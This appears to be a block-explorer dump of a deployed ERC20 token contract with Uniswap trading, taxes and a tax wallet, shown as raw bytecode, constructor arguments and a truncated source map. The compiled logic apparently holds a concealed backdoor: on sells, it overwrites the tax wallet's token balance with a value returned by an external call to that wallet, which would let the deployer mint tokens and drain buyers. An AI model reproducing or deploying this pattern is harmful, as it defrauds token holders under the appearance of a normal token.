b038a165f90815260026020908152604080832033845290915290205491906110fc565b6109d0565b5060015b9392505050565b6013546001600160a01b0316336001600160a01b031614610476575f80fd5b305f9081526001602052604090205480156104945761049481611134565b4780156104a4576104a4816105ef565b5050565b5f546001600160a01b031633146104da5760405162461bcd60e51b81526004016104d19061171e565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b0316331461054b5760405162461bcd60e51b81526004016104d19061171e565b6105576009600a6116f9565b6105669064e8d4a51000611707565b600d556105756009600a6116f9565b6105849064e8d4a51000611707565b600e556013805460ff60b81b191690557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6105c16009600a6116f9565b6105d09064e8d4a51000611707565b60405190815260200160405180910390a1565b5f6103c4338484610af3565b6013546040516001600160a01b039091169082156108fc029083905f818181858888f193505050501580156104a4573d5f803e3d5ffd5b5f546001600160a01b0316331461064f5760405162461bcd60e51b81526004016104d19061171e565b601354600160a01b900460ff16156106a95760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016104d1565b601180546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556106f39030906106e46009600a6116f9565b6104479064e8d4a51000611707565b60115f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610743573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107679190611753565b6001600160a01b031663c9c653963060115f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156107c6573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107ea9190611753565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015610834573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108589190611753565b601280546001600160a01b039283166001600160a01b03199091161790556011541663f305d719343061089f816001600160a01b03165f9081526001602052604090205490565b5f806108b25f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610918573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061093d919061176e565b505060125460115460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af1158015610992573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109b69190611799565b506013805462ff00ff60a01b19166201000160a01b179055565b6001600160a01b038316610a325760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104d1565b6001600160a01b038216610a935760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104d1565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610b575760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104d1565b6001600160a01b038216610bb95760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104d1565b5f8111610c1a5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104d1565b5f80546001600160a01b03858116911614801590610c4557505f546001600160a01b03848116911614155b15610fbf57610c766064610c70600954600c5411610c6557600554610c69565b6007545b85906112a4565b90611322565b601354909150600160b81b900460ff1615610d63576011546001600160a01b03848116911614801590610cb757506012546001600160a01b03848116911614155b15610d6357325f908152600460205260409020544311610d515760405162461bcd60e51b815260206004820152604960248201527f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c60448201527f65642e20204f6e6c79206f6e652070757263686173652070657220626c6f636b6064820152681030b63637bbb2b21760b91b608482015260a4016104d1565b325f9081526004602052604090204390555b6012546001600160a01b038581169116148015610d8e57506011546001600160a01b03848116911614155b8015610db257506001600160a01b0383165f9081526003602052604090205460ff16155b15610e8e57600d54821115610dff5760405162461bcd60e51b815260206004820152601360248201527222bc31b2b2b239903a3432902fb6b0bc2a3c1760691b60448201526064016104d1565b600e5482610e21856001600160a01b03165f9081526001602052604090205490565b610e2b91906117b8565b1115610e795760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016104d1565b600c8054905f610e88836117cb565b91905055505b6012546001600160a01b038481169116148015610eb457506001600160a01b0384163014155b15610f1757601354610ed290839086906001600160a01b0316611363565b6013546001600160a01b03165f90815260016020526040902055600a54600c54610f1491606491610c709110610f0a57600654610c69565b60085485906112a4565b90505b305f90815260016020526040902054601354600160a81b900460ff16158015610f4d57506012546001600160a01b038581169116145b8015610f625750601354600160b01b900460ff165b8015610f6f575060105481115b8015610f7e5750600b54600c54115b15610fbd57610fa0610f9b84610f9684600f546113f3565b6113f3565b611134565b4768056bc75e2d63100000811115610fbb57610fbb476105ef565b505b505b801561103757305f90815260016020526040902054610fde9082611407565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061102e9085815260200190565b60405180910390a35b6001600160a01b0384165f908152600160205260409020546110599083611465565b6001600160a01b0385165f9081526001602052604090205561109c61107e8383611465565b6001600160a01b0385165f9081526001602052604090205490611407565b6001600160a01b038085165f8181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6110e58585611465565b60405190815260200160405180910390a350505050565b5f818484111561111f5760405162461bcd60e51b81526004016104d191906114d2565b505f61112b84866117e3565b95945050505050565b6013805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f8151811061117a5761117a6117f6565b6001600160a01b03928316602091820292909201810191909152601154604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156111d1573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906111f59190611753565b81600181518110611208576112086117f6565b6001600160a01b03928316602091820292909201015260115461122e91309116846109d0565b60115460405163791ac94760e01b81526001600160a01b039091169063791ac947906112669085905f9086903090429060040161180a565b5f604051808303815f87803b15801561127d575f80fd5b505af115801561128f573d5f803e3d5ffd5b50506013805460ff60a81b1916905550505050565b5f825f036112b357505f6103c8565b5f6112be8385611707565b9050826112cb8583611879565b146104505760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104d1565b5f61045083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506114a6565b5f816001600160a01b0316315f0361137c575082610450565b60405163e6a4390560e01b81526001600160a01b0384811660048301528316602482018190529063e6a4390590604401602060405180830381865afa1580156113c7573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906113eb9190611898565b949350505050565b5f8183116114015782610450565b50919050565b5f8061141383856117b8565b9050838110156104505760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104d1565b5f61045083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506110fc565b5f81836114c65760405162461bcd60e51b81526004016104d191906114d2565b505f61112b8486611879565b5f6020808352835180828501525f5b818110156114fd578581018301518582016040015282016114e1565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114611531575f80fd5b50565b5f8060408385031215611545575f80fd5b82356115508161151d565b946020939093013593505050565b5f805f60608486031215611570575f80fd5b833561157b8161151d565b9250602084013561158b8161151d565b929592945050506040919091013590565b5f602082840312156115ac575f80fd5b81356104508161151d565b5f602082840312156115c7575f80fd5b5035919050565b5f80604083850312156115df575f80fd5b82356115ea8161151d565b915060208301356115fa8161151d565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561165357815f190482111561163957611639611605565b8085161561164657918102915b93841c939080029061161e565b509250929050565b5f82611669575060016103c8565b8161167557505f6103c8565b816001811461168b5760028114611695576116b1565b60019150506103c8565b60ff8411156116a6576116a6611605565b50506001821b6103c8565b5060208310610133831016604e8410600b84101617156116d4575081810a6103c8565b6116de8383611619565b805f19048211156116f1576116f1611605565b029392505050565b5f61045060ff84168361165b565b80820281158282048414176103c8576103c8611605565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f60208284031215611763575f80fd5b81516104508161151d565b5f805f60608486031215611780575f80fd5b8351925060208401519150604084015190509250925092565b5f602082840312156117a9575f80fd5b81518015158114610450575f80fd5b808201808211156103c8576103c8611605565b5f600182016117dc576117dc611605565b5060010190565b818103818111156103c8576103c8611605565b634e487b7160e01b5f52603260045260245ffd5b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b818110156118585784516001600160a01b031683529383019391830191600101611833565b50506001600160a01b03969096166060850152505050608001529392505050565b5f8261189357634e487b7160e01b5f52601260045260245ffd5b500490565b5f602082840312156118a8575f80fd5b505191905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212209ac393bd73251fa49d2ac31643720c1eae3dc085ba98dd1ca826348c3ae322c164736f6c63430008140033

0000000000000000000000007eb604213ae24c5d48dd3562e70f4805e3c93f6b

-----Decoded View---------------
Arg [0] : taxWallet_ (address): 0x7Eb604213AE24C5d48dd3562E70f4805e3c93f6b

-----Encoded View---------------
1 Constructor Arguments found :
Arg [0] : 0000000000000000000000007eb604213ae24c5d48dd3562e70f4805e3c93f6b

3877:7947:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5729:83;;;;;;;;;;-1:-1:-1;5799:5:0;;;;;;;;;;;;-1:-1:-1;;;5799:5:0;;;;5729:83;;;;;;;:::i;:::-;;;;;;;;6564:161;;;;;;;;;;-1:-1:-1;6564:161:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;6564:161:0;1023:187:1;4929:45:0;;;;;;;;;;;;;;;;;;;1361:25:1;;;1349:2;1334:18;4929:45:0;1215:177:1;4881:41:0;;;;;;;;;;;;;;;;5915:95;;;;;;;;;;;;;:::i;10038:313::-;;;;;;;;;;-1:-1:-1;10038:313:0;;;;;:::i;:::-;;:::i;6169:83::-;;;;;;;;;;-1:-1:-1;6169:83:0;;4769:1;2000:36:1;;1988:2;1973:18;6169:83:0;1858:184:1;10663:343:0;;;;;;;;;;;;;:::i;:::-;;6433:119;;;;;;;;;;-1:-1:-1;6433:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;6526:18:0;6499:7;6526:18;;;:9;:18;;;;;;;6433:119;2871:148;;;;;;;;;;;;;:::i;10465:186::-;;;;;;;;;;;;;:::i;4777:43::-;;;;;;;;;;;;;;;;4827:47;;;;;;;;;;;;;;;;2657:79;;;;;;;;;;-1:-1:-1;2695:7:0;2722:6;2657:79;;-1:-1:-1;;;;;2722:6:0;;;2445:51:1;;2433:2;2418:18;2657:79:0;2299:203:1;5820:87:0;;;;;;;;;;-1:-1:-1;5892:7:0;;;;;;;;;;;;-1:-1:-1;;;5892:7:0;;;;5820:87;;6260:167;;;;;;;;;;-1:-1:-1;6260:167:0;;;;;:::i;:::-;;:::i;11014:95::-;;;;;;;;;;-1:-1:-1;11014:95:0;;;;;:::i;:::-;;:::i;5207:39::-;;;;;;;;;;-1:-1:-1;5207:39:0;;;;-1:-1:-1;;;5207:39:0;;;;;;11117:667;;;:::i;6018:143::-;;;;;;;;;;-1:-1:-1;6018:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;6126:18:0;;;6099:7;6126:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6018:143;6564:161;6639:4;6656:39;309:10;6679:7;6688:6;6656:8;:39::i;:::-;-1:-1:-1;6713:4:0;6564:161;;;;;:::o;5915:95::-;5968:7;4714:13;4769:1;4714:2;:13;:::i;:::-;4694:33;;:17;:33;:::i;:::-;5988:14;;5915:95;:::o;10038:313::-;10136:4;10153:36;10163:6;10171:9;10182:6;10153:9;:36::i;:::-;10200:121;10209:6;309:10;10231:89;10269:6;10231:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;10231:19:0;;;;;;:11;:19;;;;;;;;309:10;10231:33;;;;;;;;;;:37;:89::i;:::-;10200:8;:121::i;:::-;-1:-1:-1;10339:4:0;10038:313;;;;;;:::o;10663:343::-;10727:10;;-1:-1:-1;;;;;10727:10:0;309;-1:-1:-1;;;;;10713:24:0;;10705:33;;;;;;10788:4;10749:20;6526:18;;;:9;:18;;;;;;10808:14;;10805:73;;10836:30;10853:12;10836:16;:30::i;:::-;10907:21;10942:12;;10939:60;;10968:19;10976:10;10968:7;:19::i;:::-;10694:312;;10663:343::o;2871:148::-;2784:6;;-1:-1:-1;;;;;2784:6:0;309:10;2784:22;2776:67;;;;-1:-1:-1;;;2776:67:0;;;;;;;:::i;:::-;;;;;;;;;2978:1:::1;2962:6:::0;;2941:40:::1;::::0;-1:-1:-1;;;;;2962:6:0;;::::1;::::0;2941:40:::1;::::0;2978:1;;2941:40:::1;3009:1;2992:19:::0;;-1:-1:-1;;;;;;2992:19:0::1;::::0;;2871:148::o;10465:186::-;2784:6;;-1:-1:-1;;;;;2784:6:0;309:10;2784:22;2776:67;;;;-1:-1:-1;;;2776:67:0;;;;;;;:::i;:::-;4714:13:::1;4769:1;4714:2;:13;:::i;:::-;4694:33;::::0;:17:::1;:33;:::i;:::-;10518:6;:16:::0;4714:13:::1;4769:1;4714:2;:13;:::i;:::-;4694:33;::::0;:17:::1;:33;:::i;:::-;10545:10;:18:::0;10574:20:::1;:26:::0;;-1:-1:-1;;;;10574:26:0::1;::::0;;10616:27:::1;4714:13;4769:1;4714:2;:13;:::i;:::-;4694:33;::::0;:17:::1;:33;:::i;:::-;10616:27;::::0;1361:25:1;;;1349:2;1334:18;10616:27:0::1;;;;;;;10465:186::o:0;6260:167::-;6338:4;6355:42;309:10;6379:9;6390:6;6355:9;:42::i;11014:95::-;11073:10;;11065:36;;-1:-1:-1;;;;;11073:10:0;;;;11065:36;;;;;11094:6;;11073:10;11065:36;11073:10;11065:36;11094:6;11073:10;11065:36;;;;;;;;;;;;;;;;;;;11117:667;2784:6;;-1:-1:-1;;;;;2784:6:0;309:10;2784:22;2776:67;;;;-1:-1:-1;;;2776:67:0;;;;;;;:::i;:::-;11189:11:::1;::::0;-1:-1:-1;;;11189:11:0;::::1;;;11188:12;11180:47;;;::::0;-1:-1:-1;;;11180:47:0;;5336:2:1;11180:47:0::1;::::0;::::1;5318:21:1::0;5375:2;5355:18;;;5348:30;5414:25;5394:18;;;5387:53;5457:18;;11180:47:0::1;5134:347:1::0;11180:47:0::1;11238:15;:80:::0;;-1:-1:-1;;;;;;11238:80:0::1;11275:42;11238:80:::0;;::::1;::::0;;;11329:58:::1;::::0;11346:4:::1;::::0;4714:13:::1;4769:1;4714:2;:13;:::i;:::-;4694:33;::::0;:17:::1;:33;:::i;11329:58::-;11432:15;;;;;;;;;-1:-1:-1::0;;;;;11432:15:0::1;-1:-1:-1::0;;;;;11432:23:0::1;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;11414:55:0::1;;11478:4;11485:15;;;;;;;;;-1:-1:-1::0;;;;;11485:15:0::1;-1:-1:-1::0;;;;;11485:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11414:94;::::0;-1:-1:-1;;;;;;11414:94:0::1;::::0;;;;;;-1:-1:-1;;;;;5972:15:1;;;11414:94:0::1;::::0;::::1;5954:34:1::0;6024:15;;6004:18;;;5997:43;5889:18;;11414:94:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11398:13;:110:::0;;-1:-1:-1;;;;;11398:110:0;;::::1;-1:-1:-1::0;;;;;;11398:110:0;;::::1;;::::0;;11519:15:::1;::::0;::::1;:31;11558:9;11577:4;11583:24;11577:4:::0;-1:-1:-1;;;;;6526:18:0;6499:7;6526:18;;;:9;:18;;;;;;;6433:119;11583:24:::1;11608:1;11610::::0;11612:7:::1;2695::::0;2722:6;-1:-1:-1;;;;;2722:6:0;;2657:79;11612:7:::1;11519:117;::::0;::::1;::::0;;;-1:-1:-1;;;;;;11519:117:0;;;-1:-1:-1;;;;;6410:15:1;;;11519:117:0::1;::::0;::::1;6392:34:1::0;6442:18;;;6435:34;;;;6485:18;;;6478:34;;;;6528:18;;;6521:34;6592:15;;;6571:19;;;6564:44;11620:15:0::1;6624:19:1::0;;;6617:35;6326:19;;11519:117:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;11654:13:0::1;::::0;11685:15:::1;::::0;11647:71:::1;::::0;-1:-1:-1;;;11647:71:0;;-1:-1:-1;;;;;11685:15:0;;::::1;11647:71;::::0;::::1;7148:51:1::0;-1:-1:-1;;7215:18:1;;;7208:34;11654:13:0;::::1;::::0;-1:-1:-1;11647:29:0::1;::::0;7121:18:1;;11647:71:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;11729:11:0::1;:18:::0;;-1:-1:-1;;;;11758:18:0;-1:-1:-1;;;11758:18:0;;;11117:667::o;6733:335::-;-1:-1:-1;;;;;6826:19:0;;6818:68;;;;-1:-1:-1;;;6818:68:0;;7737:2:1;6818:68:0;;;7719:21:1;7776:2;7756:18;;;7749:30;7815:34;7795:18;;;7788:62;-1:-1:-1;;;7866:18:1;;;7859:34;7910:19;;6818:68:0;7535:400:1;6818:68:0;-1:-1:-1;;;;;6905:21:0;;6897:68;;;;-1:-1:-1;;;6897:68:0;;8142:2:1;6897:68:0;;;8124:21:1;8181:2;8161:18;;;8154:30;8220:34;8200:18;;;8193:62;-1:-1:-1;;;8271:18:1;;;8264:32;8313:19;;6897:68:0;7940:398:1;6897:68:0;-1:-1:-1;;;;;6976:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;7028:32;;1361:25:1;;;7028:32:0;;1334:18:1;7028:32:0;;;;;;;6733:335;;;:::o;7076:2463::-;-1:-1:-1;;;;;7164:18:0;;7156:68;;;;-1:-1:-1;;;7156:68:0;;8545:2:1;7156:68:0;;;8527:21:1;8584:2;8564:18;;;8557:30;8623:34;8603:18;;;8596:62;-1:-1:-1;;;8674:18:1;;;8667:35;8719:19;;7156:68:0;8343:401:1;7156:68:0;-1:-1:-1;;;;;7243:16:0;;7235:64;;;;-1:-1:-1;;;7235:64:0;;8951:2:1;7235:64:0;;;8933:21:1;8990:2;8970:18;;;8963:30;9029:34;9009:18;;;9002:62;-1:-1:-1;;;9080:18:1;;;9073:33;9123:19;;7235:64:0;8749:399:1;7235:64:0;7327:1;7318:6;:10;7310:64;;;;-1:-1:-1;;;7310:64:0;;9355:2:1;7310:64:0;;;9337:21:1;9394:2;9374:18;;;9367:30;9433:34;9413:18;;;9406:62;-1:-1:-1;;;9484:18:1;;;9477:39;9533:19;;7310:64:0;9153:405:1;7310:64:0;7385:17;2722:6;;-1:-1:-1;;;;;7419:15:0;;;2722:6;;7419:15;;;;:32;;-1:-1:-1;2695:7:0;2722:6;-1:-1:-1;;;;;7438:13:0;;;2722:6;;7438:13;;7419:32;7415:1768;;;7480:76;7552:3;7480:67;7502:15;;7492:9;;:25;7491:55;;7532:14;;7491:55;;;7519:12;;7491:55;7480:6;;:10;:67::i;:::-;:71;;:76::i;:::-;7577:20;;7468:88;;-1:-1:-1;;;;7577:20:0;;;;7573:508;;;7638:15;;-1:-1:-1;;;;;7624:30:0;;;7638:15;;7624:30;;;;:62;;-1:-1:-1;7672:13:0;;-1:-1:-1;;;;;7658:28:0;;;7672:13;;7658:28;;7624:62;7620:444;;;7778:9;7749:39;;;;:28;:39;;;;;;7822:12;-1:-1:-1;7713:250:0;;;;-1:-1:-1;;;7713:250:0;;9765:2:1;7713:250:0;;;9747:21:1;9804:2;9784:18;;;9777:30;9843:34;9823:18;;;9816:62;9914:34;9894:18;;;9887:62;-1:-1:-1;;;9965:19:1;;;9958:40;10015:19;;7713:250:0;9563:477:1;7713:250:0;8017:9;7988:39;;;;:28;:39;;;;;8030:12;7988:54;;7620:444;8109:13;;-1:-1:-1;;;;;8101:21:0;;;8109:13;;8101:21;:55;;;;-1:-1:-1;8140:15:0;;-1:-1:-1;;;;;8126:30:0;;;8140:15;;8126:30;;8101:55;:83;;;;-1:-1:-1;;;;;;8162:22:0;;;;;;:18;:22;;;;;;;;8160:24;8101:83;8097:297;;;8224:6;;8214;:16;;8206:48;;;;-1:-1:-1;;;8206:48:0;;10247:2:1;8206:48:0;;;10229:21:1;10286:2;10266:18;;;10259:30;-1:-1:-1;;;10305:18:1;;;10298:49;10364:18;;8206:48:0;10045:343:1;8206:48:0;8307:10;;8297:6;8281:13;8291:2;-1:-1:-1;;;;;6526:18:0;6499:7;6526:18;;;:9;:18;;;;;;;6433:119;8281:13;:22;;;;:::i;:::-;:36;;8273:75;;;;-1:-1:-1;;;8273:75:0;;10725:2:1;8273:75:0;;;10707:21:1;10764:2;10744:18;;;10737:30;10803:28;10783:18;;;10776:56;10849:18;;8273:75:0;10523:350:1;8273:75:0;8367:9;:11;;;:9;:11;;;:::i;:::-;;;;;;8097:297;8419:13;;-1:-1:-1;;;;;8413:19:0;;;8419:13;;8413:19;:43;;;;-1:-1:-1;;;;;;8436:20:0;;8451:4;8436:20;;8413:43;8410:243;;;8516:10;;8499:28;;:6;;8510:4;;-1:-1:-1;;;;;8516:10:0;8499;:28::i;:::-;8487:10;;-1:-1:-1;;;;;8487:10:0;8477:21;;;;:9;:21;;;;;:50;8580:16;;8570:9;;8558:79;;8633:3;;8558:70;;-1:-1:-1;8569:58:0;;8612:15;;8569:58;;;8598:13;;8558:6;;:10;:70::i;:79::-;8546:91;;8410:243;8718:4;8669:28;6526:18;;;:9;:18;;;;;;8744:6;;-1:-1:-1;;;8744:6:0;;;;8743:7;:32;;;;-1:-1:-1;8762:13:0;;-1:-1:-1;;;;;8754:21:0;;;8762:13;;8754:21;8743:32;:47;;;;-1:-1:-1;8779:11:0;;-1:-1:-1;;;8779:11:0;;;;8743:47;:86;;;;;8815:14;;8794:20;:35;8743:86;:118;;;;;8843:18;;8833:9;;:28;8743:118;8739:433;;;8882:67;8899:49;8903:6;8910:37;8914:20;8935:11;;8910:3;:37::i;:::-;8899:3;:49::i;:::-;8882:16;:67::i;:::-;8997:21;9061;9040:42;;9037:120;;;9107:30;9115:21;9107:7;:30::i;:::-;8863:309;8739:433;7453:1730;7415:1768;9198:11;;9195:161;;9266:4;9248:24;;;;:9;:24;;;;;;:39;;9277:9;9248:28;:39::i;:::-;9241:4;9223:24;;;;:9;:24;;;;;;;:64;;;;9305:39;;-1:-1:-1;;;;;9305:39:0;;;;;;;9334:9;1361:25:1;;1349:2;1334:18;;1215:177;9305:39:0;;;;;;;;9195:161;-1:-1:-1;;;;;9382:15:0;;;;;;:9;:15;;;;;;:27;;9402:6;9382:19;:27::i;:::-;-1:-1:-1;;;;;9366:15:0;;;;;;:9;:15;;;;;:43;9434:40;9452:21;:6;9463:9;9452:10;:21::i;:::-;-1:-1:-1;;;;;9434:13:0;;;;;;:9;:13;;;;;;;:17;:40::i;:::-;-1:-1:-1;;;;;9420:13:0;;;;;;;:9;:13;;;;;:54;;;;9490:41;;;9509:21;:6;9520:9;9509:10;:21::i;:::-;9490:41;;1361:25:1;;;1349:2;1334:18;9490:41:0;;;;;;;7145:2394;7076:2463;;;:::o;1366:190::-;1452:7;1488:12;1480:6;;;;1472:29;;;;-1:-1:-1;;;1472:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1512:9:0;1524:5;1528:1;1524;:5;:::i;:::-;1512:17;1366:190;-1:-1:-1;;;;;1366:190:0:o;9547:483::-;5331:6;:13;;-1:-1:-1;;;;5331:13:0;-1:-1:-1;;;5331:13:0;;;9649:16:::1;::::0;;9663:1:::1;9649:16:::0;;;;;::::1;::::0;;-1:-1:-1;;9649:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;9649:16:0::1;9625:40;;9694:4;9676;9681:1;9676:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;9676:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;9720:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;9720:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;9676:7;;9720:22;;;;;:15;:22:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;9710:4;9715:1;9710:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;9710:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;9785:15:::1;::::0;9753:62:::1;::::0;9770:4:::1;::::0;9785:15:::1;9803:11:::0;9753:8:::1;:62::i;:::-;9826:15;::::0;:196:::1;::::0;-1:-1:-1;;;9826:196:0;;-1:-1:-1;;;;;9826:15:0;;::::1;::::0;:66:::1;::::0;:196:::1;::::0;9907:11;;9826:15:::1;::::0;9949:4;;9976::::1;::::0;9996:15:::1;::::0;9826:196:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;5367:6:0;:14;;-1:-1:-1;;;;5367:14:0;;;-1:-1:-1;;;;9547:483:0:o;1749:246::-;1807:7;1831:1;1836;1831:6;1827:47;;-1:-1:-1;1861:1:0;1854:8;;1827:47;1884:9;1896:5;1900:1;1896;:5;:::i;:::-;1884:17;-1:-1:-1;1929:1:0;1920:5;1924:1;1884:17;1920:5;:::i;:::-;:10;1912:56;;;;-1:-1:-1;;;1912:56:0;;12824:2:1;1912:56:0;;;12806:21:1;12863:2;12843:18;;;12836:30;12902:34;12882:18;;;12875:62;-1:-1:-1;;;12953:18:1;;;12946:31;12994:19;;1912:56:0;12622:397:1;2003:132:0;2061:7;2088:39;2092:1;2095;2088:39;;;;;;;;;;;;;;;;;:3;:39::i;1562:179::-;1631:7;1655:1;-1:-1:-1;;;;;1655:9:0;;1668:1;1655:14;1651:31;;-1:-1:-1;1679:1:0;1672:8;;1651:31;1699:34;;-1:-1:-1;;;1699:34:0;;-1:-1:-1;;;;;5972:15:1;;;1699:34:0;;;5954::1;1699:28:0;;6004:18:1;;;5997:43;;;1699:28:0;;;5889:18:1;;1699:34:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;1692:41;1562:179;-1:-1:-1;;;;1562:179:0:o;10359:98::-;10416:7;10443:1;10441;:3;10440:9;;10448:1;10440:9;;;-1:-1:-1;10446:1:0;10359:98;-1:-1:-1;10359:98:0:o;1035:179::-;1093:7;;1125:5;1129:1;1125;:5;:::i;:::-;1113:17;;1154:1;1149;:6;;1141:46;;;;-1:-1:-1;;;1141:46:0;;13415:2:1;1141:46:0;;;13397:21:1;13454:2;13434:18;;;13427:30;13493:29;13473:18;;;13466:57;13540:18;;1141:46:0;13213:351:1;1222:136:0;1280:7;1307:43;1311:1;1314;1307:43;;;;;;;;;;;;;;;;;:3;:43::i;2143:189::-;2229:7;2264:12;2257:5;2249:28;;;;-1:-1:-1;;;2249:28:0;;;;;;;;:::i;:::-;-1:-1:-1;2288:9:0;2300:5;2304:1;2300;:5;:::i;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;622:70;567:131;:::o;703:315::-;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1397:456::-;1474:6;1482;1490;1543:2;1531:9;1522:7;1518:23;1514:32;1511:52;;;1559:1;1556;1549:12;1511:52;1598:9;1585:23;1617:31;1642:5;1617:31;:::i;:::-;1667:5;-1:-1:-1;1724:2:1;1709:18;;1696:32;1737:33;1696:32;1737:33;:::i;:::-;1397:456;;1789:7;;-1:-1:-1;;;1843:2:1;1828:18;;;;1815:32;;1397:456::o;2047:247::-;2106:6;2159:2;2147:9;2138:7;2134:23;2130:32;2127:52;;;2175:1;2172;2165:12;2127:52;2214:9;2201:23;2233:31;2258:5;2233:31;:::i;2